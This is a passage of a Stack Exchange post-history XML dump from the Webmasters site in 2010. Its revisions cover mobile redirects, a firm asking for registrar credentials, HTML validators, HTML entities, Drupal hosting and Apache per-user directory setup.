  <row Id="4556" PostHistoryTypeId="1" PostId="2372" RevisionGUID="dcb51293-d0cc-4814-be63-a9dffd7b8f3a" CreationDate="2010-08-18T16:39:53.183" UserId="1614" Text="Is the m subdomain automatically supported / redirected by mobile devices, if not how should I redirect?" />
  <row Id="4557" PostHistoryTypeId="3" PostId="2372" RevisionGUID="dcb51293-d0cc-4814-be63-a9dffd7b8f3a" CreationDate="2010-08-18T16:39:53.183" UserId="1614" Text="&lt;mobile&gt;&lt;iphone&gt;&lt;android&gt;" />
  <row Id="4558" PostHistoryTypeId="2" PostId="2373" RevisionGUID="7450b855-12ea-4435-94d6-4511f77054c0" CreationDate="2010-08-18T16:59:33.533" UserId="1253" Text="Unless I missed something I do not believe this is automatic. These sites have made a special mobile versions of their site and are redirecting them there automatically through code on their servers. &#xD;&#xA;&#xD;&#xA;If you know PHP there is a handy [PHP code generator][1] that will create the code for depending on your exact needs. [This site][2] seems to offer many more languages. I bet if you looked hard enough you could find a set of Apache rules to do this, too. It looks like the gist of i is to search the user agent and look for signs of the mobile phone manufacturer. So the key is to make sure this list is kept up to date.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://detectmobilebrowsers.mobi/&#xD;&#xA;  [2]: http://detectmobilebrowser.com/" />
  <row Id="4559" PostHistoryTypeId="16" PostId="2253" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-18T16:59:45.950" UserId="55" />
  <row Id="4560" PostHistoryTypeId="16" PostId="2254" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-18T16:59:45.950" UserId="55" />
  <row Id="4561" PostHistoryTypeId="16" PostId="2371" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-18T16:59:45.950" UserId="55" />
  <row Id="4562" PostHistoryTypeId="16" PostId="2252" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-18T16:59:45.950" UserId="55" />
  <row Id="4563" PostHistoryTypeId="2" PostId="2374" RevisionGUID="8b97ac00-4ca0-486c-9b17-6e88a1ab254b" CreationDate="2010-08-18T17:04:40.857" UserId="108" Text="You will definitely have to build your own redirect.  It really depends on you language as to how to do it.&#xD;&#xA;&#xD;&#xA;Also, this was asked on SO a while back, [here][1].  Check out [WURLF][2] as the SO answer suggests.&#xD;&#xA;&#xD;&#xA;When you make the redirect you will want to make sure to use a 302 Redirect.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/609423/mobile-redirect&#xD;&#xA;  [2]: http://wurfl.sourceforge.net/" />
  <row Id="4564" PostHistoryTypeId="2" PostId="2375" RevisionGUID="f8e8090c-aa02-44a8-96b3-5148467ba496" CreationDate="2010-08-18T18:59:33.777" UserId="1615" Text="I work for a company that has an older website. We hired a firm to update our web site and index it properly. I have control of the actual domain name. I created an FTP site for them to use, but they are also asking for my registrar account and password. The only explanation I have gotten so far is that they need it for &quot;indexing&quot; the site to search engines. Is this a valid reason, or is their any valid reason they would need my registration information?&#xD;&#xA;" />
  <row Id="4565" PostHistoryTypeId="1" PostId="2375" RevisionGUID="f8e8090c-aa02-44a8-96b3-5148467ba496" CreationDate="2010-08-18T18:59:33.777" UserId="1615" Text="Why would anyone need my registrar information for a new web site?" />
  <row Id="4566" PostHistoryTypeId="3" PostId="2375" RevisionGUID="f8e8090c-aa02-44a8-96b3-5148467ba496" CreationDate="2010-08-18T18:59:33.777" UserId="1615" Text="&lt;web-hosting&gt;" />
  <row Id="4567" PostHistoryTypeId="2" PostId="2376" RevisionGUID="97122266-8393-4bce-8553-fcf650ee85e7" CreationDate="2010-08-18T19:00:29.547" UserId="480" Text="For a quick solution you can:&#xD;&#xA;&#xD;&#xA;* email reports, using your existing events (thus giving the client the information you have collected with the event thus far)&#xD;&#xA;* insert an iframe with a small page containing the tracking code (which can be hidden), or if the client prefers they can host a small page themselves (living with the slightly decreased page speed)&#xD;&#xA;* visit http://www.webmasterworld.com/analytics/3781851.htm - here they use different variable names for the tracker and call `_initData()` before `_trackPageview()`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4571" PostHistoryTypeId="5" PostId="2376" RevisionGUID="a9d6d043-6885-4717-bf62-31066c36d9a6" CreationDate="2010-08-18T19:07:11.717" UserId="480" Comment="improved answer" Text="For a quick solution you can:&#xD;&#xA;&#xD;&#xA;* email reports, using your existing events (thus giving the author the information you have collected with the event thus far)&#xD;&#xA;* insert an iframe with a small page containing the tracking code (which can be hidden), or if the author prefers they can host a small page themselves elsewhere (living with the slightly decreased page speed)&#xD;&#xA;* give the advice on http://www.webmasterworld.com/analytics/3781851.htm a shot - here they use different variable names for the tracker and call `_initData()` before `_trackPageview()`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4572" PostHistoryTypeId="2" PostId="2378" RevisionGUID="48f293dd-c5e9-4f63-b217-8ac51f2bc044" CreationDate="2010-08-18T19:08:23.383" UserId="221" Text="This is not a valid reason. Your instincts are correct here. The only possible use of this information is to change the info stored with the registrar (dns etc.) which (given what you've said) isn't something they need to do." />
  <row Id="4573" PostHistoryTypeId="2" PostId="2379" RevisionGUID="c7c70a97-d637-4a3f-b4c6-348cd8c9fb16" CreationDate="2010-08-18T19:08:59.153" UserId="106" Text="We used to [Path redirect module][1] for that purpose.  It can't handle all powerful things that Mod_rewrite can, but it's done a really nice job for us at preserving old URLs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://drupal.org/project/path_redirect" />
  <row Id="4574" PostHistoryTypeId="2" PostId="2380" RevisionGUID="361bd231-ef2e-43cf-911b-50f7b3207b0a" CreationDate="2010-08-18T19:12:53.640" UserId="108" Text="I know for a fact that Google Webmaster Tools only requires you to put a file on your site to prove that you are in control of it.  Which having FTP access will let you know.  I highly doubt any other search engine would require anything regarding your registration information.&#xD;&#xA;&#xD;&#xA;Do not give them your username and password.  If they push for it ask for a specific defined reason for why they need it.  If they do not give you one then they are obviously lying.  If they do give you a reason question it extensively.  If this company is trying to pull one on you and your company now is the time to figure it out.  I would consider any work they do or claim they will do for you suspect if they don't back down on requesting that information and more or less apologize right away.   " />
  <row Id="4575" PostHistoryTypeId="2" PostId="2381" RevisionGUID="e639d379-c784-4a80-8758-01585217df81" CreationDate="2010-08-18T19:16:58.497" UserId="1253" Text="There's nothing in DNS/Whois that is going to make a difference in terms of indexing a site. Getting pages indexed is as simple of notifying the search engines that the page exists. This can be done through a [HTML sitemap][1], [XML site map][2], or regular internal links.&#xD;&#xA;&#xD;&#xA;The only possible explanation I can think of for needing this access is to register the domain for 10 years. [Some people speculate][3] since Google patented the idea that domain name registration length can be used in ranking algorithms that a 10 year domain registration must help search rankings. Besides the fact that there is no evidence that is true, if they were going to do this they would have simply said so.&#xD;&#xA;&#xD;&#xA;Like I said in my comment, this sounds very shady. I'd mention it to someone and have them look into it further if I were you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.html-sitemap.com/&#xD;&#xA;  [2]: http://sitemaps.org/&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/2291/does-registering-a-domain-for-10-years-help-search-rank" />
  <row Id="4577" PostHistoryTypeId="10" PostId="2360" RevisionGUID="c48168df-3f55-4651-8859-a748d1927e7e" CreationDate="2010-08-18T21:27:02.117" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="4578" PostHistoryTypeId="2" PostId="2382" RevisionGUID="5c2fc6f5-50f7-40e5-bd17-cdacf2eed4ba" CreationDate="2010-08-18T23:18:17.363" UserId="427" Text="Do not, under any circumstances, do such a thing.&#xD;&#xA;&#xD;&#xA;However, if you are with a registrar that allows you to delegate only certain rights (i.e. if you're with NameCheap - I'm sure others support this but I don't know which), if they really only care about the right to change DNS servers or other such, by all means, if that is an acceptable thing to you. Maybe they just want to change the info to a private registration for G-d knows what reason, or they want to extend the registration period as part of looking better for Google.&#xD;&#xA;&#xD;&#xA;Sidenote: I manage about fifty client domains and I have their registrar passwords or even their domains in my registrar accounts, but only because some would forget to renew their domains and I have contracts with them guaranteeing their ownership and transfer upon signed request, as well as my (albeit limited) liability in case I am too much of an idiot and actually forget to renew them myself." />
  <row Id="4579" PostHistoryTypeId="2" PostId="2383" RevisionGUID="7c30d204-050c-41fe-a17a-766fa4463113" CreationDate="2010-08-19T01:30:09.817" UserId="1253" Text="FYI, [On Monday, August 23rd (or within a couple of days of it) Yahoo will officially start serving BING search results.][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/blog/2010/08/17/bing-to-power-yahoo-next-week/" />
  <row Id="4580" PostHistoryTypeId="2" PostId="2384" RevisionGUID="e9cb73cf-a03f-4cf4-a9d4-4f919e2c5e64" CreationDate="2010-08-19T02:12:33.757" UserId="1618" Text="What programs can I use to validate HTML/XML markup? &#xD;&#xA;&#xD;&#xA;Basically, I want a local command-line version of [W3C HTML validation service][1] (like `lint`) that I can use for detecting errors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/" />
  <row Id="4581" PostHistoryTypeId="1" PostId="2384" RevisionGUID="e9cb73cf-a03f-4cf4-a9d4-4f919e2c5e64" CreationDate="2010-08-19T02:12:33.757" UserId="1618" Text="Linux HTML/XML W3C Validation Utilities" />
  <row Id="4582" PostHistoryTypeId="3" PostId="2384" RevisionGUID="e9cb73cf-a03f-4cf4-a9d4-4f919e2c5e64" CreationDate="2010-08-19T02:12:33.757" UserId="1618" Text="&lt;validation&gt;" />
  <row Id="4583" PostHistoryTypeId="5" PostId="2384" RevisionGUID="9d62cb1e-b703-42f2-b4cb-2ed6a6f55ac6" CreationDate="2010-08-19T02:17:48.767" UserId="1618" Comment="added 8 characters in body" Text="What programs can I use to validate HTML/XML markup? &#xD;&#xA;&#xD;&#xA;Basically, I want a local, command-line based, version of [W3C HTML validation service][1] (like `lint`) that I can use for detecting errors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://validator.w3.org/" />
  <row Id="4584" PostHistoryTypeId="2" PostId="2385" RevisionGUID="055ab655-4c06-4f7c-8462-f540939fd56c" CreationDate="2010-08-19T02:19:51.430" UserId="1253" Text="[Total Validator][1] seems to do what you're looking for&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.totalvalidator.com/help/commandline.html" />
  <row Id="4586" PostHistoryTypeId="2" PostId="2387" RevisionGUID="f7ae07ae-d8cd-4801-9c42-41b319ab74a8" CreationDate="2010-08-19T05:45:00.250" UserId="161" Text="I had the exact same issue with vsftpd. Error 550 no quota problems, no permissions problems but the error was still there. Uninstalled vsftpd, installed proftpd and everything worked like a charm... " />
  <row Id="4591" PostHistoryTypeId="2" PostId="2389" RevisionGUID="28d5763f-a5f5-4fea-b923-3c5b8294dcb8" CreationDate="2010-08-19T11:06:17.303" UserId="233" Text="The W3 validator is [open source][1] (written in Python I believe) so you can download and run it locally. I can't for the life of me find the download link on w3.org though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/QA/Tools/" />
  <row Id="4592" PostHistoryTypeId="2" PostId="2390" RevisionGUID="97e33ca4-6523-48c1-b0a7-37ebd91d4b7e" CreationDate="2010-08-19T11:44:34.137" UserId="1245" Text="The HTML5 validator source code is [available through SVN][1], has dependencies on Java.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://about.validator.nu/#src" />
  <row Id="4593" PostHistoryTypeId="2" PostId="2391" RevisionGUID="6a619b72-b8c1-405f-a9e2-ee1db3b05246" CreationDate="2010-08-19T13:20:12.943" UserId="1606" Text="When I retrieve my facebook status through facebook API, using status.get, the informations comes in the form of&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;      {&#xD;&#xA;        &quot;message&quot;: &quot;Does anyone here knows how to disappear and reappear again after a few months??&quot;,&#xD;&#xA;        &quot;time&quot;: 1282146230,&#xD;&#xA;        &quot;status_id&quot;: 00000000000000,&#xD;&#xA;        &quot;source&quot;: 2915120374,&#xD;&#xA;        &quot;uid&quot;: 000000000&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;message&quot;: &quot;Blah blah and blah&quot;,&#xD;&#xA;        &quot;time&quot;: 1282073572,&#xD;&#xA;        &quot;status_id&quot;: 00000000000000,&#xD;&#xA;        &quot;source&quot;: 2915120374,&#xD;&#xA;        &quot;uid&quot;: 000000000&#xD;&#xA;      }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I want to format the information using css and display the updates on my blog. How do I extract the info from the above retrieved format so that I can use it on my php page and use css to style the updates??" />
  <row Id="4594" PostHistoryTypeId="1" PostId="2391" RevisionGUID="6a619b72-b8c1-405f-a9e2-ee1db3b05246" CreationDate="2010-08-19T13:20:12.943" UserId="1606" Text="How to format facebook status retrieved using status.get" />
  <row Id="4595" PostHistoryTypeId="3" PostId="2391" RevisionGUID="6a619b72-b8c1-405f-a9e2-ee1db3b05246" CreationDate="2010-08-19T13:20:12.943" UserId="1606" Text="&lt;facebook&gt;" />
  <row Id="4596" PostHistoryTypeId="2" PostId="2392" RevisionGUID="a15a8938-0ebb-464d-80d5-f2b5afdf1c46" CreationDate="2010-08-19T13:42:26.543" UserId="1348" Text="detectmobilebrowser.com redirection is based solely on the UserAgent string which can easily be modified using an add-on on Firefox, or any other method. Also, some mobile operator will change the UA string so it can make UA redirect more unstable. You can find many services working like this one.&#xD;&#xA;&#xD;&#xA;wurlf is using some feature detection in addition to the UserAgent. Additionally, you can get some useful info about the device like screen size. This will help you render a version of your website that is best for your visitor.&#xD;&#xA;&#xD;&#xA;So if you want to stick with free device recognition, I'd go with wurlf." />
  <row Id="4597" PostHistoryTypeId="10" PostId="2391" RevisionGUID="b32d7e12-0491-4a0f-a063-fab710eb6918" CreationDate="2010-08-19T14:29:13.620" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:221,&quot;DisplayName&quot;:&quot;Kris&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;}]" />
  <row Id="4598" PostHistoryTypeId="2" PostId="2393" RevisionGUID="5a099428-a5ea-4d4f-ad4b-179492db4a60" CreationDate="2010-08-19T14:30:10.250" UserId="576" Text="[HTML Tidy][1], developed by Dave Raggett of W3C, can validate &amp; automatically fix errors. It can work from the [command-line][2] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/People/Raggett/tidy/&#xD;&#xA;  [2]: http://www.ibm.com/developerworks/library/x-tiptidy.html" />
  <row Id="4599" PostHistoryTypeId="2" PostId="2394" RevisionGUID="83b267c6-2d27-4ae3-8049-c52e66084a13" CreationDate="2010-08-19T21:20:52.987" UserId="1636" Text="Let's say I want to put a non-bland character in an HTML file; for instance, '→'. Is there any reason why I should enter it as '&amp;amp;rarr;' instead of just putting '→' in the HTML file? Assume my HTML file is encoded &amp; transmitted in some Unicode format." />
  <row Id="4600" PostHistoryTypeId="1" PostId="2394" RevisionGUID="83b267c6-2d27-4ae3-8049-c52e66084a13" CreationDate="2010-08-19T21:20:52.987" UserId="1636" Text="Why use HTML entities instead of just putting Unicode characters in HTML?" />
  <row Id="4601" PostHistoryTypeId="3" PostId="2394" RevisionGUID="83b267c6-2d27-4ae3-8049-c52e66084a13" CreationDate="2010-08-19T21:20:52.987" UserId="1636" Text="&lt;html&gt;&lt;content-encoding&gt;&lt;compatibility&gt;&lt;unicode&gt;" />
  <row Id="4602" PostHistoryTypeId="2" PostId="2395" RevisionGUID="d32f6f0a-f9d2-4a1a-976c-79414b450a7f" CreationDate="2010-08-19T21:30:26.050" UserId="138" Text="Those two final statements are big assumptions.&#xD;&#xA;&#xD;&#xA;For example, we have a web app that uses AJAX to its literal meaning - we use it for loading XML documents on the fly. If the XML document does not have the correct `content-encoding` header (or is lacking one at all), then any unicode characters (smartquotes, long dashes, even some special whitespace and the word `Café`) makes Internet Explorer fall on its arse every single time. The AJAX request just fails and fires off a javascript error.&#xD;&#xA;&#xD;&#xA;However, if we do a server-side replace of all the unicode characters with their HTML entities, everything works just fine.&#xD;&#xA;&#xD;&#xA;Of course, if your file has the correct content-headers then this shouldn't be a problem for any modern browser." />
  <row Id="4603" PostHistoryTypeId="5" PostId="1946" RevisionGUID="4ed587aa-8c0e-48bf-a6bb-7e6a80dce0be" CreationDate="2010-08-19T23:04:54.183" UserId="1306" Comment="added 4 characters in body" Text="If I have a site with numerous subcategories would it be better to have one domain with each subcategory linking off it, or a domain for each subcategory?&#xD;&#xA;&#xD;&#xA;For example, if it's a sports news site, it might be something like:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    sportsnews.com/football-news&#xD;&#xA;    sportsnews.com/cricket-news&#xD;&#xA;    sportsnews.com/tennis-news&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The idea would be that there's an overall common layout to the sites, but the content and theming is different. &#xD;&#xA;&#xD;&#xA;The alternative approach would be something along the lines of:&#xD;&#xA;&#xD;&#xA;    sportsnews.com&#xD;&#xA;    footballnews.com&#xD;&#xA;    cricketnews.com&#xD;&#xA;    tennisnews.com&#xD;&#xA;&#xD;&#xA;From an SEO point of view, is it best to have the one site with the rest linking off it so all the links to it are driving up the page rank collectively, or would it be best to have separate domains so that the domain, meta, title and description of each individual site all match up to the expected search keyword of `(sport name) news`?&#xD;&#xA;&#xD;&#xA;If the latter approach were chosen, would linking to the individual domains from the primary one then be detrimental to the overall network of sites?&#xD;&#xA;&#xD;&#xA;**Edit: Please note that sports is just an example. You can assume that although the subcategories are related 95% of users will not be interested in any others than the one they searched for.**" />
  <row Id="4604" PostHistoryTypeId="2" PostId="2396" RevisionGUID="4dc4f89d-ae10-4c10-8991-39c104402875" CreationDate="2010-08-19T23:12:56.853" UserDisplayName="jason" Text="do not do this.  In fact, run very fast away from these people." />
  <row Id="4605" PostHistoryTypeId="2" PostId="2397" RevisionGUID="1edcb977-e898-4b21-9053-02e9bac52751" CreationDate="2010-08-19T23:32:59.223" UserId="1603" Text="Since no one has stepped up yet I’ll try to give an answer to this. It’s mostly gathered from reading http://css3pie.com/documentation/product-comparison/ and googling around. I only have hands on experience with CSS3PIE. If you know any of the other projects feel free to edit this&#xD;&#xA;&#xD;&#xA;**CSS3PIE** by Jason Johnston&#xD;&#xA;Adds good support for Css3 border-radius, gradients, box-shadow.&#xD;&#xA;My experience with this is that it works pretty well and has great support for border-radius.  Problematic for hover effects (I would expect all items on this list suffer from this) but seem flawless when used on static html. &#xD;&#xA;More info at http://css3pie.com/&#xD;&#xA;&#xD;&#xA;**ie-css3.js** by Keith Clark&#xD;&#xA;Adds support for a lot CSS3 pseudo-class selectors. Is extremely small since it feasts on other js libraries you include, like jQuery.&#xD;&#xA;This could work well with other projects on this list like CSS3PIE.&#xD;&#xA;More info at http://www.keithclark.co.uk/labs/ie-css3/&#xD;&#xA;&#xD;&#xA;**IE9.js** by Dean Edwards&#xD;&#xA;Works for IE6, 7 and 8. Make IE support transparent PNG, new CSS selectors like parent&gt;child and :first-of-type, fixed positioning, max/min width/height support.&#xD;&#xA;It's my impression a lot of work have gone into this over the years. Some reviews are really positive, some dismissive.&#xD;&#xA;More info at http://code.google.com/p/ie7-js/&#xD;&#xA;&#xD;&#xA;**ecsstender** by Aaron Gustafson&#xD;&#xA;Works with IE6, 7 and 8. In a modular way adds support for CSS3 selectors, font-face, border-radius, box-shadow, colors and transforms.&#xD;&#xA;Very well documented. More info at http://ecsstender.org/extensions&#xD;&#xA;&#xD;&#xA;**DD_roundies** by Drew Diller&#xD;&#xA;Adds some support for border-radius and png.&#xD;&#xA;More info at http://www.dillerdesign.com/experiment/DD_roundies/&#xD;&#xA;&#xD;&#xA;**border-radius.htc** by Remiz Rahnas&#xD;&#xA;Very simple support for border-radius.&#xD;&#xA;More info at http://code.google.com/p/curved-corner/&#xD;&#xA;&#xD;&#xA;**ie-css3.htc** by Nick Fetchak&#xD;&#xA;Some support for border-radius and text-shadow. CSS3PIE claim to do border-radius better.&#xD;&#xA;More info at http://www.fetchak.com/ie-css3/" />
  <row Id="4606" PostHistoryTypeId="16" PostId="2397" RevisionGUID="1edcb977-e898-4b21-9053-02e9bac52751" CreationDate="2010-08-19T23:32:59.223" UserId="1603" />
  <row Id="4607" PostHistoryTypeId="2" PostId="2398" RevisionGUID="69c1c070-aaef-4abf-bdf5-e25550f09183" CreationDate="2010-08-20T02:57:51.943" UserId="1519" Text="For some reason the user directory I have for my server has stopped working whenever I go to server/~user/public_html/ I get a 404 error. The files are there on the ftp, but they're not showing up from the web.&#xD;&#xA;&#xD;&#xA;It's strange because it was working just a while ago.&#xD;&#xA;&#xD;&#xA;Any help?" />
  <row Id="4608" PostHistoryTypeId="1" PostId="2398" RevisionGUID="69c1c070-aaef-4abf-bdf5-e25550f09183" CreationDate="2010-08-20T02:57:51.943" UserId="1519" Text="Apache Per User Directory Not Found" />
  <row Id="4609" PostHistoryTypeId="3" PostId="2398" RevisionGUID="69c1c070-aaef-4abf-bdf5-e25550f09183" CreationDate="2010-08-20T02:57:51.943" UserId="1519" Text="&lt;apache&gt;&lt;server&gt;&lt;404&gt;&lt;http-server&gt;" />
  <row Id="4610" PostHistoryTypeId="2" PostId="2399" RevisionGUID="3f6cef99-9fad-474f-a0b7-3e6fd83c8b60" CreationDate="2010-08-20T04:29:41.007" UserId="1064" Text="Check permissions on the directory, ownership of the directory, and the user Apache processes run under to make sure the directory is both readable and executable by Apache." />
  <row Id="4611" PostHistoryTypeId="2" PostId="2400" RevisionGUID="e26fdd79-3436-4977-b9b9-34f9f1f6297b" CreationDate="2010-08-20T08:24:32.547" UserId="1514" Text="There are many ad and affiliate networks out there, that each try to cover a niche. Please list your favorites and give some reasons why you like them." />
  <row Id="4612" PostHistoryTypeId="1" PostId="2400" RevisionGUID="e26fdd79-3436-4977-b9b9-34f9f1f6297b" CreationDate="2010-08-20T08:24:32.547" UserId="1514" Text="What affiliate network would you recommend and why?" />
  <row Id="4613" PostHistoryTypeId="3" PostId="2400" RevisionGUID="e26fdd79-3436-4977-b9b9-34f9f1f6297b" CreationDate="2010-08-20T08:24:32.547" UserId="1514" Text="&lt;advertising&gt;" />
  <row Id="4614" PostHistoryTypeId="2" PostId="2401" RevisionGUID="86116fdd-ecbb-4e26-a6f9-e0eaaebb3a76" CreationDate="2010-08-20T10:51:28.940" UserDisplayName="Kim" Text="&gt; However, if we do a server-side replace of all the unicode characters with their HTML entities, everything works just fine.&#xD;&#xA;&#xD;&#xA;This assumes all characters can be replaced with HTML-entities, which they can’t. Use the correct headers and spot these issues (using the wrong header) early, instead of being confused when they occur later." />
  <row Id="4615" PostHistoryTypeId="16" PostId="2400" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-20T11:33:11.517" UserId="138" />
  <row Id="4616" PostHistoryTypeId="2" PostId="2402" RevisionGUID="3d337802-dcbd-4d47-b828-cf1de80e8183" CreationDate="2010-08-20T11:46:11.550" UserId="1424" Text="I've made a website 1 month ago and it is still not indexed by google.&#xD;&#xA;&#xD;&#xA;I've used default Drupal CMS, I haven't change any setting in robot.txt file.&#xD;&#xA;&#xD;&#xA;Also, I've tried to search for websitename.com but still I cannot see it.&#xD;&#xA;&#xD;&#xA;What's the reason ?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;ps. I have a google analytics account. I've checked Webmaster Tools, I didn't find where I can add it (to register it to google)." />
  <row Id="4617" PostHistoryTypeId="1" PostId="2402" RevisionGUID="3d337802-dcbd-4d47-b828-cf1de80e8183" CreationDate="2010-08-20T11:46:11.550" UserId="1424" Text="I cannot see my website in google" />
  <row Id="4618" PostHistoryTypeId="3" PostId="2402" RevisionGUID="3d337802-dcbd-4d47-b828-cf1de80e8183" CreationDate="2010-08-20T11:46:11.550" UserId="1424" Text="&lt;search-engines&gt;&lt;google-website-optimizer&gt;" />
  <row Id="4619" PostHistoryTypeId="2" PostId="2403" RevisionGUID="57fda60f-5824-4f1e-8222-74bf50206b41" CreationDate="2010-08-20T11:56:45.813" UserId="1253" Text="This is not uncommon as there is no time frame for Google to index a website. The best thing you can do is to give Google every opportunity to find you. Try all of the following:&#xD;&#xA;&#xD;&#xA;To submit your site to Google [go here][1].&#xD;&#xA;&#xD;&#xA;Submit an [XML sitemap][2]. You can do that from within your Webmaster Control panel.&#xD;&#xA;&#xD;&#xA;Get incoming links to your website. Google discovers new website by following links. Submitting your site to directories is a good start. Ideally you'll get a link, or links, from established websites with similar content.&#xD;&#xA;&#xD;&#xA;Check your robots.txt file and make sure it isn't blocking your home page or entire website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [2]: http://www.sitemaps.org/" />
  <row Id="4620" PostHistoryTypeId="5" PostId="2403" RevisionGUID="f8d573bf-c3f3-45d6-b95e-02edae95d87c" CreationDate="2010-08-20T12:10:56.013" UserId="1253" Comment="added 100 characters in body" Text="This is not uncommon as there is no time frame for Google to index a website. The best thing you can do is to give Google every opportunity to find you. Try all of the following:&#xD;&#xA;&#xD;&#xA;To submit your site to Google [go here][1].&#xD;&#xA;&#xD;&#xA;Submit an [XML sitemap][2]. You can do that from within your Webmaster Control panel. Here's a [drupal add on][3] to make this easy for you.&#xD;&#xA;&#xD;&#xA;Get incoming links to your website. Google discovers new website by following links. Submitting your site to directories is a good start. Ideally you'll get a link, or links, from established websites with similar content.&#xD;&#xA;&#xD;&#xA;Check your robots.txt file and make sure it isn't blocking your home page or entire website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/addurl/?continue=/addurl&#xD;&#xA;  [2]: http://www.sitemaps.org/&#xD;&#xA;  [3]: http://drupal.org/project/xmlsitemap" />
  <row Id="4621" PostHistoryTypeId="6" PostId="2402" RevisionGUID="4f15c843-8942-46a8-9d97-98038a03b06c" CreationDate="2010-08-20T12:11:44.827" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="4622" PostHistoryTypeId="2" PostId="2404" RevisionGUID="011fac65-a256-48ca-923b-d2942b8d2fe3" CreationDate="2010-08-20T15:25:07.893" UserId="1424" Text="When I upload a drupal website on the web, I usually have issues such as:&#xD;&#xA;&#xD;&#xA;- imagecache module failing to create duplicates of my images&#xD;&#xA;&#xD;&#xA;- FUpload (multiple image upload) creating issues and warnings&#xD;&#xA;&#xD;&#xA;- post size limit when I upload videos (PHP memory and post limit)&#xD;&#xA;&#xD;&#xA;I want to solve all these issues and find a good hosting service.&#xD;&#xA;&#xD;&#xA;ps. This is optional for now, I would like to have a hosting service with servers in Netherlands. Is this affecting the performances ? I mean, is the website going faster, or the location doesn't matter as long as the service is good ?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;Patrick&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4623" PostHistoryTypeId="1" PostId="2404" RevisionGUID="011fac65-a256-48ca-923b-d2942b8d2fe3" CreationDate="2010-08-20T15:25:07.893" UserId="1424" Text="What are the best hosting services for Drupal ?" />
  <row Id="4624" PostHistoryTypeId="3" PostId="2404" RevisionGUID="011fac65-a256-48ca-923b-d2942b8d2fe3" CreationDate="2010-08-20T15:25:07.893" UserId="1424" Text="&lt;web-hosting&gt;&lt;drupal&gt;" />
  <row Id="4625" PostHistoryTypeId="16" PostId="2404" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-20T15:35:43.113" UserId="55" />
  <row Id="4626" PostHistoryTypeId="2" PostId="2405" RevisionGUID="6e2c940d-e816-40c8-8eb4-61077684cf3b" CreationDate="2010-08-20T15:46:05.123" UserId="1253" Text="Drupal's own website has a [list of drupal hosts][1]. I would think they can't be too bad if Drupal lists them on their website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/hosting" />
  <row Id="4627" PostHistoryTypeId="16" PostId="2405" RevisionGUID="6e2c940d-e816-40c8-8eb4-61077684cf3b" CreationDate="2010-08-20T15:46:05.123" UserId="-1" />
  <row Id="4628" PostHistoryTypeId="2" PostId="2406" RevisionGUID="b889821a-1707-48ec-9bc2-6f08ac401e01" CreationDate="2010-08-20T15:58:18.153" UserId="1613" Text="Would you be able to post part of your httpd.conf (or included configuration if it's split into multiple files)?&#xD;&#xA;&#xD;&#xA;Inside of it should be the &quot;per user&quot; configuration section, which defines which directory the servers looks for in a user's home.&#xD;&#xA;&#xD;&#xA;For example, here is the default I normally have on my Apache servers:&#xD;&#xA;&#xD;&#xA;      # Turn on userdirs&#xD;&#xA;      &lt;IfModule mod_userdir.c&gt;&#xD;&#xA;        UserDir public_html&#xD;&#xA;    &#xD;&#xA;        &lt;Directory /home/*/public_html&gt;&#xD;&#xA;          Order allow,deny&#xD;&#xA;          Allow from all&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;      &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;In this case as long as a user has a public_html directory, with permissions of 0711 (or at least 0755) - the read and execute bits of public_html must be set, along with at least the execute of their home directory - Apache will serve files from it with the proper permissions.&#xD;&#xA;&#xD;&#xA;One other question, from your URL above of &quot;server/~user/public_html/&quot; - did you upload the files under the directory public_html/public_html?  Otherwise, you should just drop the &quot;public_html&quot; part at the end, as Apache will automatically look under there.&#xD;&#xA;&#xD;&#xA;That would make the URL http://server/~user/ and should work, unless your 